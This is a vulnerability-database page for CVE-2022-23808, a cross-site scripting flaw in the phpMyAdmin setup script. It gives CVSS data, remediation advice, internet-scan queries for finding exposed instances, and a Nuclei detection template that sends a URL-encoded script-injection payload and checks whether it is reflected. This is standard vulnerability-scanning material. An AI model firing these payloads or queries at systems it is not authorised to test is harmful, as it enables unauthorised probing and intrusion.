SecurityContext

CVE-2022-23808: phpMyAdmin < 5.1.2 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.08383
  • Epss percentile: 0.95108
  • Cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: title="phpmyadmin", body="pma_servername" && body="4.8.4"
  • Google-query: intitle:"phpmyadmin"
  • Hunter-query: app.name="phpmyadmin"&&web.body="pma_servername"&&web.body="4.8.4"
  • Max-request: 2
  • Product: phpmyadmin
  • Shodan-query: http.component:"phpmyadmin", http.title:"phpmyadmin", cpe:"cpe:2.3:a:phpmyadmin:phpmyadmin"
  • Vendor: phpmyadmin
  • Verified: yes

Products

ProductIndexedUrl
phpmyadmin:phpmyadminyes/v1/products/phpmyadmin/phpmyadmin

Labels

  • Name: phpMyAdmin - Stored XSS
  • Impact: Attackers can execute malicious scripts in the victim's browser, leading to session hijacking or defacement.
  • Remediation: Update to version 5.1.2 or later.
  • Vulnerability type: stored_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs to inject malicious code into setup script
  • Labels source: projectdiscovery
  • From cve: CVE-2022-23808

```yaml

id: CVE-2022-23808

info:

name: phpMyAdmin < 5.1.2 - Cross-Site Scripting

author: cckuailong,daffainfo

severity: medium

description: An issue was discovered in phpMyAdmin 5.1 before 5.1.2 that could allow an attacker to inject malicious code into aspects of the setup script, which can allow cross-site or HTML injection.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the targeted user's browser, potentially leading to session hijacking, data theft, or other malicious activities.

remediation: |

Upgrade phpMyAdmin to version 5.1.2 or later to mitigate this vulnerability.

reference:

- https://mp.weixin.qq.com/s/c2kwxwVUn1ym7oqv9Uio_A

- https://github.com/dipakpanchal456/CVE-2022-23808

- https://nvd.nist.gov/vuln/detail/CVE-2022-23808

- https://www.phpmyadmin.net/security/PMASA-2022-2/

- https://infosecwriteups.com/exploit-cve-2022-23808-85041c6e5b97

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2022-23808

cwe-id: CWE-79

epss-score: 0.08383

epss-percentile: 0.95108

cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 2

vendor: phpmyadmin

product: phpmyadmin

shodan-query:

- http.component:"phpmyadmin"

- http.title:"phpmyadmin"

- cpe:"cpe:2.3:a:phpmyadmin:phpmyadmin"

fofa-query:

- title="phpmyadmin"

- body="pma_servername" && body="4.8.4"

google-query: intitle:"phpmyadmin"

hunter-query: app.name="phpmyadmin"&&web.body="pma_servername"&&web.body="4.8.4"

tags: cve,cve2022,phpmyadmin,xss,vuln

http:

- method: GET

path:

- "{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

- "{{BaseURL}}/setup/index.php?page=servers&mode=test&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

stop-at-first-match: true

matchers-condition: and

matchers:

- type: word

part: body

words:

- "\"></script><script>alert(document.domain)</script>"

- "<h2>Add a new server</h2>"

- "<title>phpMyAdmin setup"

condition: and

- type: word

part: header

words:

- "text/html"

- type: status

status:

- 200

digest: 4b0a00483046022100b32cb17a9814bd443b219cf21fc8286fa2635ef39673666152bbbb0fb1cd01eb022100e1faefdcb62b682a6010ddcc03f8b3cd7425662f28f6d546de66154fe5174ecc:922c64590222798bb761d5b6d8e72950

```